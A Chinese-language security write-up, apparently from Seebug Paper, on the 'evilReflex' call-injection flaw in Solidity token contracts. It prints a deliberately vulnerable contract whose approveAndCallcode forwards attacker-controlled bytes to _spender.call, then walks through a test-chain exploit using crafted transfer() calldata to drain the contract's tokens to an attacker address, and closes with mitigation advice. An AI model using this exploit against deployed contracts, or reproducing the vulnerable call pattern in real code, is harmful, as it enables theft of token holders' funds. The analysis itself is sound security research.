作者:Al1ex@七芒星實驗室
本文為作者投稿,Seebug Paper 期待你的分享,凡經采用即有禮品相送!
投稿郵箱:paper@seebug.org

文章前言

在這篇文章中,我們將對曾經出現過的一種叫做evilReflex的安全漏洞進行分析研究,攻擊者可以通過該漏洞將存在evilReflex漏洞的合約中的任意數量的token轉移到任意地址。

evilreflex

漏洞分析

漏洞函數approveAndCallcode()代碼如下所示:

approveAndCall

approveAndCallcode函數的用途是在完成approve操作時發出相關的調用通知,而在上述代碼的L136處_spender.call(_extraData)中的_extraData為用戶可控參數,在solidity語言我們可以通過call方法來實現對某個合約或者本地合約的某個方法進行調用,調用的方式大致如下:

<address>.call(方法選擇器, arg1, arg2, …) 
<address>.call(bytes)

在使用call調用時我們可以通過傳遞參數的方式,將方法選擇器、參數進行傳遞,也可以直接傳入一個字節數組,在這里我們可以將要調用的合約方法以及相關參數轉換為bytecode之后作為_extraData參數傳入,之后通過_spender.call(_extraData)實現對合約中的任意方法的調用,而此時的_spender也是可控的,所以也可以在存在漏洞的合約中調用任意合約的任意方法并為其提供相關的方法參數。

漏洞演示

下面我們來做一個漏洞演示,模擬如何通過evilReflex漏洞竊取合約自身的token到任意地址,下面是存在漏洞的合約代碼:

pragma solidity ^0.4.26;

contract Token {
    /* This is a slight change to the ERC20 base standard.
    function totalSupply() constant returns (uint256 supply);
    is replaced with:
    uint256 public totalSupply;
    This automatically creates a getter function for the totalSupply.
    This is moved to the base contract since public getter functions are not
    currently recognised as an implementation of the matching abstract
    function by the compiler.
    */
    /// total amount of tokens
    uint256 public totalSupply;

    /// @param _owner The address from which the balance will be retrieved
    /// @return The balance
    function balanceOf(address _owner) constant returns (uint256 balance);

    /// @notice send `_value` token to `_to` from `msg.sender`
    /// @param _to The address of the recipient
    /// @param _value The amount of token to be transferred
    /// @return Whether the transfer was successful or not
    function transfer(address _to, uint256 _value) returns (bool success);

    /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
    /// @param _from The address of the sender
    /// @param _to The address of the recipient
    /// @param _value The amount of token to be transferred
    /// @return Whether the transfer was successful or not
    function transferFrom(address _from, address _to, uint256 _value) returns (bool success);

    /// @notice `msg.sender` approves `_spender` to spend `_value` tokens
    /// @param _spender The address of the account able to transfer the tokens
    /// @param _value The amount of tokens to be approved for transfer
    /// @return Whether the approval was successful or not
    function approve(address _spender, uint256 _value) returns (bool success);

    /// @param _owner The address of the account owning tokens
    /// @param _spender The address of the account able to transfer the tokens
    /// @return Amount of remaining tokens allowed to spent
    function allowance(address _owner, address _spender) constant returns (uint256 remaining);

    event Transfer(address indexed _from, address indexed _to, uint256 _value);
    event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}


contract StandardToken is Token {

    function transfer(address _to, uint256 _value) returns (bool success) {
        require(_to != address(0));
        require(_value <= balances[msg.sender]);
        //Default assumes totalSupply can't be over max (2^256 - 1).
        //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap.
        //Replace the if with this one instead.
        require(balances[_to] + _value > balances[_to]);
        balances[msg.sender] -= _value;
        balances[_to] += _value;
        Transfer(msg.sender, _to, _value);
        return true;
    }

    function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
        require(_to != address(0));
        require(_value <= balances[_from]);
        require(_value <= allowed[_from][msg.sender]);
        //same as above. Replace this line with the following if you want to protect against wrapping uints.
        require(balances[_to] + _value > balances[_to]);
        balances[_to] += _value;
        balances[_from] -= _value;
        allowed[_from][msg.sender] -= _value;
        Transfer(_from, _to, _value);
        return true;
    }

    function balanceOf(address _owner) constant returns (uint256 balance) {
        return balances[_owner];
    }

    function approve(address _spender, uint256 _value) returns (bool success) {
        allowed[msg.sender][_spender] = _value;
        Approval(msg.sender, _spender, _value);
        return true;
    }

    function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
        return allowed[_owner][_spender];
    }

    mapping (address => uint256) balances;
    mapping (address => mapping (address => uint256)) allowed;
}

contract HACKME is StandardToken {

    function () {
        //if ether is sent to this address, send it back.
        revert();
    }

    string public name = "HACKME";                   //fancy name: eg Simon Bucks
    uint8 public decimals = 18;                //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether.
    string public symbol = "HACKME";                 //An identifier: eg SBX
    string public version = 'v0.1';       //stb 0.1 standard. Just an arbitrary versioning scheme.

    address public founder; // The address of the founder

    function HACKME() {
        founder = msg.sender;
        totalSupply = 20180000 * 10 ** uint256(decimals);
        balances[founder] = totalSupply / 2;
        balances[this] = totalSupply / 2;
    }

    /* Approves and then calls the receiving contract */
    function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
        allowed[msg.sender][_spender] = _value;
        Approval(msg.sender, _spender, _value);

        //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this.
        //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData)
        //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead.
        if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { revert(); }
        return true;
    }

    /* Approves and then calls the contract code*/
    function approveAndCallcode(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
        allowed[msg.sender][_spender] = _value;
        Approval(msg.sender, _spender, _value);

        //Call the contract code
        if(!_spender.call(_extraData)) { revert(); }
        return true;
    }
}

首先編譯部署合約:

compile

部署信息如下:

compile_result

合約地址:0xf8e81D47203A594245E36C48e151709F0C19fBe8

合約資產:10090000000000000000000000

balance1

balance1-1

賬號地址:0x5B38Da6a701c568545dCfcB03FcB875f56beddC4

賬號資產:10090000000000000000000000

balance2

balance2-1

之后將transfer(0x5B38Da6a701c568545dCfcB03FcB875f56beddC4,10090000000000000000000000)加密為bytecode,我們這里使用0x5B38Da6a701c568545dCfcB03FcB875f56beddC4地址賬戶來調用transfer的方式來獲取bytecode(自己向自己轉賬):

bytecode

交易信息如下,從中提取bytecode:

0xa9059cbb0000000000000000000000005b38da6a701c568545dcfcb03fcb875f56beddc40000000000000000000000000000000000000000000858a3fefb18d88e400000

bytecode2

也可以通過部署一些testABI.sol文件來獲取對應的bytecode信息:

pragma solidity ^0.4.26;

contract testABI {
    function abiEncode() public view returns (bytes memory) {
       return abi.encodeWithSignature("transfer(address,uint256)",0x5B38Da6a701c568545dCfcB03FcB875f56beddC4,10090000000000000000000000);
    }
}

部署合約后運行結果如下:

bytecode3

之后查看合約資產:

balance_of_contract

賬戶資產:

balance_of_address

下面我們進入漏洞利用階段來調用approveAndCallcode,相關參數如下:

  • _spender參數:存在漏洞的合約地址
  • _extraData參數:transfer(0x5B38Da6a701c568545dCfcB03FcB875f56beddC4,10090000000000000000000000)的bytecode

這樣一來在調用approveAndCallcode函數時將發出一個transfer調用,此時的資產接受地址為攻擊者構造的_extraData中的to地址信息,token數量為_extraData中的value值,下面我們調用來看看這個流程:

approveAndCallcode(
    0xf8e81D47203A594245E36C48e151709F0C19fBe8,
    0,
0xa9059cbb0000000000000000000000005b38da6a701c568545dcfcb03fcb875f56beddc40000000000000000000000000000000000000000000858a3fefb18d88e400000
    )

call1

交易信息如下:

call2

之后查看合約資產————為0

result1

之后查看賬戶資產————翻倍

result2

安全建議

造成evilReflex漏洞的根本原因還是在于call注入,在合約開發過程中應盡量避免call調用中方法選擇器可控以及相關參數的可控性或者直接指定方法選擇器來規避類evilReflex安全問題的發生。

參考鏈接

https://github.com/Al1ex/EvilReflex

https://blog.peckshield.com/2018/06/23/evilReflex/


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1577/